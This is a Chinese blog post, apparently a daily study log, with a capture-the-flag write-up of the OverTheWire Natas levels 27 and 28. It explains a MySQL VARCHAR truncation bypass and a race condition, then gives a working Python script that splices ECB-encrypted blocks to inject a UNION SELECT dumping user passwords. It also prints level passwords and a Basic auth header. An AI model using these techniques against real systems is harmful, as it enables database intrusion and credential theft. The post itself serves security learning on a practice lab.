170822 WarGames-Natas(27-28)

本文详细介绍了在 Natas 游戏的 Level 27 和 28 中遇到的 SQL 溢出和 ECB 加密漏洞。在 Level 27 中,通过 VARCHAR 列的溢出截断漏洞,成功插入记录来获取信息。Level 28 中,利用 ECB 加密模式的弱点,构造 SQL 注入,通过填充字符和精确计算,实现了注入攻击,最终获得下一关的密码。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1625-5 王子昂 总结《2017年8月22日》 【连续第323天总结】
A. Natas
B.

Level 27

按照之前sql注入的尿性,username应该是natas28,试一下回复Wrong password确认无误
本来以为是宽字节注入,绕过mysql_real_escape_string()函数
原理是该函数对单引号等字符自动进行转义,在前边添加’\’
单引号字符为0x27,在前边添加’\’后变为0x5c27
如果构造输入0xbf27,即“¿’”,转义以后变为0xbf5c27,而在宽字符集(如GBK)中存在0xbf5c字符,于是将’\’吃掉,从而保持单引号字符起效
这是mysql_escape_string()和addslashes()存在的漏洞
对于增强型的mysql_real_escape_string()函数,会自动检测数据库所使用的字符集;如果不是宽字节字符集,那么该漏洞将无法起效

试了一下发现不行,真正的漏洞在这里:

    $query = "SELECT * from users where username='$user'"; 
    $res = mysql_query($query, $link); 
    if($res) { 
        if(mysql_num_rows($res) > 0) { 
            while ($row = mysql_fetch_assoc($res)) { 
                // thanks to Gobo for reporting this bug!   
                //return print_r($row); 
                return print_r($row,true); 
            } 
        } 
    } 
    return False; 

它会返回所有username相符的结果,换言之我们如果能插入另一条用户名为natas28,密码为自定的记录,就会把本来存在的natas28给一起暴露出来

这里可以利用mysql的溢出截断漏洞
由源码可知username varchar(64) DEFAULT NULL

对于VARCHAR列,超出列长度的尾随空格将在插入之前被截断,并生成警告,而不管使用的是哪种SQL模式。对于 CHAR列,无论SQL模式如何,都会以静默方式执行截断从插入值的多余结尾空格。
所有MySQL排序规则都是PAD SPACE类型。这意味着所有的 CHAR和VARCHAR,和 TEXT值被比较,而不考虑任何尾随空格。

事实上在插入时溢出部分将全部被截断,而select的时候却不会
这个差异处理就是漏洞的根源:
构造’natas28’ + ’ ‘*64 + ‘a’的字符串
在select的时候,由于最后有’a’导致空格不会被省略,从而返回空值,进入Create过程
在Insert的时候,由于发生溢出,结尾的’a’被截断,从而使空格变为尾随空格被忽略,使username=’natas28’
这样检索natas28的时候由于存在password相等,将输出所有natas28的信息

Welcome natas28!
Here is your data:
Array ( [username] => natas28 [password] => JWwR438wkgTsNKBbcJoowyysdM82YjeF )

另外还有一种很奇妙的思路:
源码中提示了每五分钟将会清除一次数据
这个清除的过程应该是全部清空->写入username=natas28,password=xxx记录
如果卡在全部清空和写入之间抢先提交username=natas28,password=”的记录,那么由于提交时没有检测到natas28,将会写入我们的记录;等服务器重新写入本来的natas28,再检索就也能显示出来了
用脚本不断发起请求有几率正好插入其中,尝试确实成功

Level 28

这题真是恐怖,啥都没有
翻译一下发现是笑话库,会查找提交字符串所在的笑话内容并随机返回一个
抓包发现流程是POST一个明文会返回一个GET的URL,值是明文与sql语句组合后被加密的内容
随便试着提交了几个值,发现b64解密后长度相同,以为是哈希就懵逼了
翻出来外网的WP参考:http://alkalinesecurity.com/blog/ctf-writeups/natas-28-getting-it-wrong/
看了大半天才有点理解,首先这个是ECB加密的攻击

ECB(Electronic Codebook,电码本)模式是分组密码的一种最基本的工作模式。在该模式下,待处理信息被分为大小合适的分组,然后分别对每一分组独立进行加密或解密处理。

作为一种基本工作模式,具有操作简单,易于实现的特点。同时由于其分组的独立性,利于实现并行处理,并且能很好地防止误差传播。

另一方面由于所有分组的加密方式一致,明文中的重复内容会在密文中有所体现,因此难以抵抗统计分析攻击。

这种加密方式很不安全,利用分组的特性可以针对组来攻击
首先要明白分组大小,构造’a’*64提交,对返回值b64解密后查找重复部分,发现有16*3的部分重复。那么很明显,该加密以16个字符为一组

我们的目的是绕过引号来构造SQL注入
很明显提交内容XXX后,后台构造了类似于SELECT * FROM TABLE where content like “$_REQUEST”的语句加密后返回

因为POST提交内容被包含在引号内,所以肯定是做不了手脚的
那么关键就肯定在GET上了,它提交的内容是POST返回回来的完整SQL语句,意味着存在修改其他部分的可能

我们希望将它修改为SELECT * FROM TABLE where content like “$_REQUEST” Union SELECT password FROM USERS #
如果SQL语句是明文,那么很简单直接修改就行
现在虽然被ECB加密了,但ECB加密有一个特性:各组之间独立无关
意味着如果要插入内容必须为完整若干组,同时需要把前后不足整组的地方给补齐

构造思路为,令【SELECT * FROM TABLE where content like “$_REQUEST”】为独立整组,然后得到【Union SELECT * FROM USERS #】被ECB加密后的内容,插入其中即可

找出前半部分缺多少个字符恰好为整组的方法:
  之前构造’a’ * 64已经知道了’a’ * 16被ECB加密的内容STR(b64解密后的)
  如果放入’a’ * (16 + b)时(b64解密后的)query中恰好出现了STR,那么就可以证明前半部分缺b个字符
  因为此时b个’a’正好填补了之前的组,使得恰好有’a’ * 16被独立成组加密了。
  b的取值范围为0-15,爆破可知得10
顺便还有前半部分为3组48个字符

知道这点,构造’a’ * (10-SQL语句后部) 就可以满足所需为整组了

这里SQL语句后部为2个字符,我本来以为是引号+空格,实际上是%’:

但是,这个代码在找到一个纯文本的单字节之后就失败了:“%”!所以再次认为代码必须是错的。但是最终我记得一些查询字符正在被转义,它们破坏了执行所选明文攻击的能力,超出了其中一个字符的发生。所以现在我知道明文的下两个部分是%和一个转义的字符。在想了一下之后,我得出结论,它是%’,因为它是SQL LIKE子句的结尾,像“… WHERE joke_body LIKE’%{escaped_query}%’…”。这适合脚本的行为,并且与这些角色有意义。所以现在我知道这个密文是ECB模式块密码加密的SQL查询。现在,由于ECB分别单独加密每个块,所以我可以加密含有有效SQL语法的块,然后将其插入到密文中的%’之后才能实现SQL注入

提交后记下b64解密后的query

下一步就是得到Payload被加密的内容并添加了

注意要添加的内容也需要是整组,因此需要在Payload后添加字符(反正有注释符号)
这次就简单多了,直接提交’a’ * 10 + Payload + offset
然后截取返回值b64解密后的第48个字符起,长为len(Payload + offset)的字符

把截取部分插入到之前query的第48个字节后,提交即可返回

ShellCode(Python3):

import base64
import requests
from urllib.request import quote, unquote
import re

#from pwn import *

natas_url = "http://natas28.natas.labs.overthewire.org/index.php"
search_url = "http://natas28.natas.labs.overthewire.org/search.php/?query="

#authorization header
headers = {"Authorization": "Basic bmF0YXMyODpKV3dSNDM4d2tnVHNOS0JiY0pvb3d5eXNkTTgyWWplRg=="}

print("Retrieving first ciphertext")

#pad plaintext to ensure it takes up a full ciphertext block
#plaintext = "A"*10 + "B"*14 更加清晰
plaintext = 'A'*8
resp = requests.post(natas_url, data={"query": plaintext}, headers=headers)

#get the raw bytes of the ciphertext
encoded_ciphertext = resp.url.split("query=")[1]
ciphertext = base64.b64decode(unquote(encoded_ciphertext))
print("Ciphertext:",ciphertext)
#sql to inject into ciphertext query
new_sql = " UNION ALL SELECT concat(username,0x3A,password) FROM users #"
print("Appending query: %s" % new_sql)

#pad plaintext to ensure it also takes up a whole number of ciphertext blocks
plaintext = "A"*10 + new_sql + "B"*(16-(len(new_sql)%16))
offset = 48 + len(plaintext)-10

resp = requests.post(natas_url, data={"query": plaintext}, headers=headers)
encoded_new_ciphertext = resp.url.split("query=")[1]
new_ciphertext = base64.b64decode(unquote(encoded_new_ciphertext))
encrypted_sql = new_ciphertext[48:offset]

#add the encrypted new sql into the final ciphertext
final_ciphertext = ciphertext[:48]+encrypted_sql+ciphertext[48:]

resp = requests.get(search_url, params={"query":base64.b64encode(final_ciphertext)}, headers=headers)

print("Response: %s" % re.findall(b"<li>(.*?)</li>", resp.content)[0])

得到结果:

natas29:airooCaiseiyee8he8xongien9euhe8b

natas29似乎是perl的漏洞利用,没给源码
关键词perl underground,old skewl
百度没内容,谷歌能检索到一些,但是不太明白(:з」∠)
观察参数File应该是读取文件,当参数包含”natas”时会显示”meeeeeep!”字样
没查到perl有啥漏洞,以后厉害了再回来搞吧╮(╯_╰)╭

C. 明日计划
逆向

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值